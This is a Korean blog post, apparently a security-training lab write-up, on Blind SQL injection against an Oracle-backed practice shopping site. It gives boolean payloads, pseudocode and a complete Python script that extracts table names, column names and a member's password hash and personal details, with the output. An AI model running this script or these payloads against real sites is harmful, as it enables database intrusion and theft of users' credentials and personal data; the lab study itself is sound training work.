| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 루키즈31기
- React
- SK쉴더스루키즈
- linux
- 프리코스
- 악성코드 분석
- 레나 튜토리얼
- Practical Malware Analysis Labs
- 위상 정렬
- sk 쉴더스 루키즈
- 우테코
- 루키즈 31기
- 백엔드
- 예술의 전당
- 알고리즘
- 웹개발
- sk 쉴더스 루키즈 31기
- 우아한테크코스
- 자바
- sk 쉴더스
- 동적분석
- c
- 깃
- 리버싱
- 레나튜토리얼
- 루키즈
- sk쉴더스 루키즈
- Dreamhack
- top-cert
- webhacking
- Today
- Total
yon11b
[SK 쉴더스 루키즈] 쇼핑몰 Blind SQL Injection(Oracle) 본문
1. USER 명 구하기

url이 이렇게 생겼다.
https://lab.eqst.co.kr:8110/practice/practice01/detail?id=61
?id=61 and 1=1 을 해줘도 똑같은 화면이 나온다. url에서 sqli을 해주면 될 것이다.

user명 길이 찾기
https://lab.eqst.co.kr:8110/practice/practice01/detail?id=61 and length(user)>6
이렇게 입력했을 때도 애플워치 화면이 떴다.
만약 거짓이라면 ex) length(user)<6 애플워치 화면이 안 뜬다.

이건 참이다 => user명 길이 == 8
https://lab.eqst.co.kr:8110/practice/practice01/detail?id=61 and length(user)=8
user명 하나씩 찾기
첫번째 글자
https://lab.eqst.co.kr:8110/practice/practice01/detail
?id=61 AND ASCII(SUBSTR((SELECT USER FROM DUAL),1,1))=85
아스키 85는 U이다.
두번째 글자
- 83
세번째 글자
- 69
네번째 글자
- 87
다섯번째 글자
- 79
여섯번째 글자
- 82
일곱번째 글자
- 76
여덟번째 글자
- 68
위 숫자들을 다 아스키 문자로 바꾸면 USEWORLD가 나온다.

2. 이름,이메일,비밀번호 등 개인정보 구하기(파이썬 자동화)
이 문제는 파이썬 코드를 이용해서 자동화하여 풀어볼 것이다.
그 전에 먼저 뭘 찾아야 하고, 어떤 순서로 그 값들을 찾아야 하는지 순서를 짜보자.
정보 탈취 절차
1. 테이블명 구하기
2. 컬럼명 구하기
3. 값 구하기
1. 테이블명 구하기
테이블 목록 정보가 들어있는 테이블에서 첫번째 테이블부터 마지막 테이블까지 목록을 전부 출력해본다.
우리는 blind 방식으로만 쿼리문을 검증할 수 있다. => 내가 작성한 쿼리문에 대한 참/거짓 결과만을 알 수 있다.
테이블 목록을 한 번에 알 수는 없고 한 문자씩 확인해야 한다. 왜냐하면 아스키는 문자열 표현이 안 되고 한 문자씩만 표현이 되기 때문이다.
Oracle에서는 테이블 목록 정보는 user_tables에 있다.
흐름
1. 테이블 개수를 구한다.
2. 모든 테이블에 대해 하나씩 테이블명 길이를 구한다. (테이블 개수만큼 반복)
3. 해당 테이블명을 알아내기 위해 한문자씩 아스키 비교(a-Z/0-9)를 한다. (테이블명 길이만큼 반복)
(자동화에서는 for문을 돌리기 때문에 몇번 for문을 돌려야할지 정하기 위해 테이블개수,테이블명길이 등 "길이"를 구해줘야 한다.)
sudo 코드
1. 테이블 개수를 구한다.
(select count(*) from user_tables)=0~100

2. 모든 테이블에 대해 하나씩 테이블명 길이를 구한다. (테이블 개수만큼 반복)
for (i=1 ~ 테이블 개수):
length((select table_name from (select table_name, rownum r from user_tables) where r=i))=0~100
3. 해당 테이블명을 알아내기 위해 한문자씩 아스키 비교(a-Z/0-9)를 한다. (테이블명 길이만큼 반복)
table_count = (SELECT COUNT(*) FROM user_tables)
for i = 1 to table_count:
table_name_length = 0
for len = 1 to 100:
payload = "LENGTH((SELECT table_name FROM (SELECT table_name, ROWNUM r FROM user_tables) WHERE r=" + i + "))=" + len
if payload is TRUE:
table_name_length = len
break
table_name = ""
for k = 1 to table_name_length:
for ch in charset:
payload = "ASCII(SUBSTR((SELECT table_name FROM (SELECT table_name, ROWNUM r FROM user_tables) WHERE r=" + i + ")," + k + ",1))=ASCII('" + ch + "')"
if payload is TRUE:
table_name += ch
break
print(i + "번째 테이블명:", table_name)
2. 컬럼명 구하기
컬럼명 정보는 cols에 있다.(oracle 기준) 나머지 흐름은 테이블명과 동일하다.
흐름
1. 컬럼 개수를 구한다.
2. 모든 컬럼에 대해 하나씩 컬럼명 길이를 구한다. (컬럼 개수만큼 반복)
3. 해당 컬럼명을 알아내기 위해 한문자씩 아스키 비교(a-Z/0-9)를 한다. (컬럼명 길이만큼 반복)
column_count = (SELECT COUNT(*) FROM cols WHERE table_name='테이블명')
for i = 1 to column_count:
column_name_length = 0
for len = 1 to 100:
payload = "LENGTH((SELECT column_name FROM (SELECT column_name, ROWNUM r FROM cols WHERE table_name='테이블명') WHERE r=" + i + "))=" + len
if payload is TRUE:
column_name_length = len
break
column_name = ""
for k = 1 to column_name_length:
for ch in charset:
payload = "ASCII(SUBSTR((SELECT column_name FROM (SELECT column_name, ROWNUM r FROM cols WHERE table_name='테이블명') WHERE r=" + i + ")," + k + ",1))=ASCII('" + ch + "')"
if payload is TRUE:
column_name += ch
break
print(i + "번째 컬럼명:", column_name)
3. 이름, 이메일, 전화번호 정보 탈취
힌트: 첫번째 row값
첫번째 row값만 보면 될 것이다. (r=1)
흐름
1. row=1에서 이름/이메일/전화번호 컬럼의 값의 길이를 구한다.
2. 해당 값을 한 문자씩 아스키 비교 (a-Z/0-9) 한다. (컬럼값 길이만큼 반복)
target_columns = ["NAME", "EMAIL", "PHONE"]
for col in target_columns:
value_length = 0
# row=1의 해당 컬럼값 길이 구하기
for len = 1 to 100:
payload = "LENGTH((SELECT " + col + " FROM (SELECT " + col + ", ROWNUM r FROM 테이블명) WHERE r=1))=" + len
if payload is TRUE:
value_length = len
break
value = ""
# 해당 컬럼값을 한 글자씩 구하기
for k = 1 to value_length:
for ch in charset:
payload = "ASCII(SUBSTR((SELECT " + col + " FROM (SELECT " + col + ", ROWNUM r FROM 테이블명) WHERE r=1)," + k + ",1))=ASCII('" + ch + "')"
if payload is TRUE:
value += ch
break
print(col + " 값:", value)
4. 이진탐색
아스키 문자 비교를 할 때 무식하게 다 비교를 하는 방법도 있지만, 이진탐색을 통해 구하는 방식이 훨씬 빠르다.
def get_char_binary(gt_template, eq_template, pos, low=32, high=127):
while low <= high:
mid = (low + high) // 2
injection = gt_template.format(
pos=pos,
ascii_code=mid
)
if is_true(injection):
low = mid + 1
else:
high = mid - 1
check = eq_template.format(
pos=pos,
ascii_code=low
)
if is_true(check):
return chr(low)
return "?"
5. 참인 조건
True인 조건은 id=61로 했을 때, response에 "애플워치"가 나오는 경우이다.
6. 한글 출력 처리
응답값 중에 한글이 있다. 이걸 그냥 출력하면 깨져서 나온다.
그래서 hex 값으로 받은 다음에 UTF-8 복원을 해줘야 한다.
def get_first_row_value(table_name, col_name):
value_expr = f"RAWTOHEX(UTL_RAW.CAST_TO_RAW(TO_CHAR({col_name})))"
length_payload = f"""
61 AND LENGTH((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
))
"""
gt_payload = f"""
61 AND ASCII(SUBSTR((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
), {{pos}}, 1)) > {{ascii_code}}
"""
eq_payload = f"""
61 AND ASCII(SUBSTR((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
), {{pos}}, 1)) = {{ascii_code}}
"""
value_hex_len = get_length(length_payload, max_len=1000)
if value_hex_len is None:
return None
value_hex = get_string(gt_payload, eq_payload, value_hex_len)
return hex_to_utf8(value_hex)
전체 코드
import requests
import urllib3
urllib3.disable_warnings()
BASE_URL = "https://lab.eqst.co.kr:8110/practice/practice01/detail"
cookies = {
"JSESSIONID": "697D676D0A6E23C46531667DC78D6C17"
}
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
TRUE_TEXT = "애플워치"
def request_id(injection):
return requests.get(
BASE_URL,
params={"id": injection},
cookies=cookies,
headers=headers,
verify=False,
allow_redirects=True
)
def is_true(injection):
r = request_id(injection)
return TRUE_TEXT in r.text
def get_length(payload_after_id, max_len=500):
for length in range(1, max_len + 1):
injection = f"{payload_after_id} = {length}"
if is_true(injection):
return length
return None
def get_char_binary(gt_template, eq_template, pos, low=32, high=127):
while low <= high:
mid = (low + high) // 2
injection = gt_template.format(
pos=pos,
ascii_code=mid
)
if is_true(injection):
low = mid + 1
else:
high = mid - 1
check = eq_template.format(
pos=pos,
ascii_code=low
)
if is_true(check):
return chr(low)
return "?"
def get_string(gt_template, eq_template, length):
result = ""
for pos in range(1, length + 1):
result += get_char_binary(gt_template, eq_template, pos)
return result
def hex_to_utf8(hex_string):
try:
return bytes.fromhex(hex_string).decode("utf-8")
except:
return hex_string
# =========================
# 테이블 개수
# =========================
def get_table_count(max_count=100):
for count in range(1, max_count + 1):
injection = f"""
61 AND (
SELECT COUNT(table_name)
FROM user_tables
) = {count}
"""
if is_true(injection):
return count
return None
# =========================
# 테이블명 추출
# =========================
def get_table_name_by_row(table_row):
length_payload = f"""
61 AND LENGTH((
SELECT table_name
FROM (
SELECT table_name, ROWNUM r
FROM user_tables
)
WHERE r={table_row}
))
"""
gt_payload = f"""
61 AND ASCII(SUBSTR((
SELECT table_name
FROM (
SELECT table_name, ROWNUM r
FROM user_tables
)
WHERE r={table_row}
), {{pos}}, 1)) > {{ascii_code}}
"""
eq_payload = f"""
61 AND ASCII(SUBSTR((
SELECT table_name
FROM (
SELECT table_name, ROWNUM r
FROM user_tables
)
WHERE r={table_row}
), {{pos}}, 1)) = {{ascii_code}}
"""
table_len = get_length(length_payload)
if table_len is None:
return None
return get_string(gt_payload, eq_payload, table_len)
# =========================
# 컬럼 개수
# =========================
def get_column_count(table_name, max_count=50):
for count in range(1, max_count + 1):
injection = f"""
61 AND (
SELECT COUNT(column_name)
FROM cols
WHERE table_name='{table_name}'
) = {count}
"""
if is_true(injection):
return count
return None
# =========================
# 컬럼명 추출
# =========================
def get_column_name_by_row(table_name, col_row):
length_payload = f"""
61 AND LENGTH((
SELECT column_name
FROM (
SELECT column_name, ROWNUM r
FROM cols
WHERE table_name='{table_name}'
)
WHERE r={col_row}
))
"""
gt_payload = f"""
61 AND ASCII(SUBSTR((
SELECT column_name
FROM (
SELECT column_name, ROWNUM r
FROM cols
WHERE table_name='{table_name}'
)
WHERE r={col_row}
), {{pos}}, 1)) > {{ascii_code}}
"""
eq_payload = f"""
61 AND ASCII(SUBSTR((
SELECT column_name
FROM (
SELECT column_name, ROWNUM r
FROM cols
WHERE table_name='{table_name}'
)
WHERE r={col_row}
), {{pos}}, 1)) = {{ascii_code}}
"""
col_len = get_length(length_payload)
if col_len is None:
return None
return get_string(gt_payload, eq_payload, col_len)
# =========================
# 첫 번째 row 값 추출
# 한글 대응: HEX로 뽑고 UTF-8 복원
# =========================
def get_first_row_value(table_name, col_name):
value_expr = f"RAWTOHEX(UTL_RAW.CAST_TO_RAW(TO_CHAR({col_name})))"
length_payload = f"""
61 AND LENGTH((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
))
"""
gt_payload = f"""
61 AND ASCII(SUBSTR((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
), {{pos}}, 1)) > {{ascii_code}}
"""
eq_payload = f"""
61 AND ASCII(SUBSTR((
SELECT v
FROM (
SELECT {value_expr} v, ROWNUM r
FROM {table_name}
)
WHERE r=1
), {{pos}}, 1)) = {{ascii_code}}
"""
value_hex_len = get_length(length_payload, max_len=1000)
if value_hex_len is None:
return None
value_hex = get_string(gt_payload, eq_payload, value_hex_len)
return hex_to_utf8(value_hex)
# =========================
# 실행 시작
# =========================
print("[+] 테이블 개수 추출 중...")
table_count = get_table_count()
if table_count is None:
print("[-] table count 못 구함")
exit()
print(f"[+] table count = {table_count}")
table_names = []
print("\n[+] 테이블 목록 추출 중...")
for table_row in range(1, table_count + 1):
table_name = get_table_name_by_row(table_row)
if table_name is not None:
table_names.append(table_name)
print(f"[+] table {table_row}: {table_name}")
else:
print(f"[-] table {table_row}: 추출 실패")
print("\n========== 테이블 목록 ==========")
print(table_names)
# MEMBER 자동 선택
if "MEMBER" in table_names:
selected_table = "MEMBER"
else:
selected_table = table_names[0]
print(f"\n[+] selected table = {selected_table}")
print("\n[+] 컬럼 개수 추출 중...")
column_count = get_column_count(selected_table)
if column_count is None:
print("[-] column count 못 구함")
exit()
print(f"[+] column count = {column_count}")
column_names = []
print("\n[+] 컬럼 목록 추출 중...")
for col_row in range(1, column_count + 1):
col_name = get_column_name_by_row(selected_table, col_row)
if col_name is not None:
column_names.append(col_name)
print(f"[+] column {col_row}: {col_name}")
else:
print(f"[-] column {col_row}: 추출 실패")
print("\n========== 컬럼 목록 ==========")
print(column_names)
print("\n[+] 첫 번째 row 값 추출 중...")
first_row_values = {}
for col_name in column_names:
value = get_first_row_value(selected_table, col_name)
first_row_values[col_name] = value
print(f"[+] {col_name}: {value}")
print("\n========== 최종 결과 ==========")
print(f"[+] table = {selected_table}")
for col, val in first_row_values.items():
print(f"{col}: {val}")
출력 결과
[+] 테이블 개수 추출 중...
[+] table count = 12
[+] 테이블 목록 추출 중...
[+] table 1: BAG
[+] table 2: MEMBER
[+] table 3: MEMBER_ROLE
[+] table 4: NOTICE
[+] table 5: PRODUCT
[+] table 6: PRODUCTIMG
[+] table 7: QNA
[+] table 8: ROLE
[+] table 9: ORDERLIST
[+] table 10: COUPONLIST
[+] table 11: COUPON
[+] table 12: ACCESS_LOG
========== 테이블 목록 ==========
['BAG', 'MEMBER', 'MEMBER_ROLE', 'NOTICE', 'PRODUCT', 'PRODUCTIMG', 'QNA', 'ROLE', 'ORDERLIST', 'COUPONLIST', 'COUPON', 'ACCESS_LOG']
[+] selected table = MEMBER
[+] 컬럼 개수 추출 중...
[+] column count = 10
[+] 컬럼 목록 추출 중...
[+] column 1: ID
[+] column 2: PASSWORD
[+] column 3: MEMBERID
[+] column 4: ENABLED
[+] column 5: NAME
[+] column 6: EMAIL
[+] column 7: PHONE
[+] column 8: PWQ
[+] column 9: PWA
[+] column 10: POINT
========== 컬럼 목록 ==========
['ID', 'PASSWORD', 'MEMBERID', 'ENABLED', 'NAME', 'EMAIL', 'PHONE', 'PWQ', 'PWA', 'POINT']
[+] 첫 번째 row 값 추출 중...
[+] ID: 21
[+] PASSWORD: $2a$10$aoyXHpOKIBFkC9pon****wgAecNLuHYqTzDFebDLuoROHJm
[+] MEMBERID: admin
[+] ENABLED: 1
[+] NAME: 김**
[+] EMAIL: kim_**@**.***
[+] PHONE: 010*******
[+] PWQ: 내 이름은?
[+] PWA: 김**
[+] POINT: 2000
========== 최종 결과 ==========
[+] table = MEMBER
ID: 21
PASSWORD: $2a$10$aoyXHpOKIBFkC9pon****wgAecNLuHYqTzDFebDLuoROHJm
MEMBERID: admin
ENABLED: 1
NAME: 김**
EMAIL: kim_**@**.***
PHONE: 010*******
PWQ: 내 이름은?
PWA: 김**
POINT: 2000'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] Reflected XSS: Burp Suite Repeater 이용 (0) | 2026.06.25 |
|---|---|
| [SK 쉴더스 루키즈] SQL Injection 대응방안 (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취) (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Blind SQL Injection(MySQL USER명 탈취) (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] Error Based SQL Injection(MySQL) (0) | 2026.06.24 |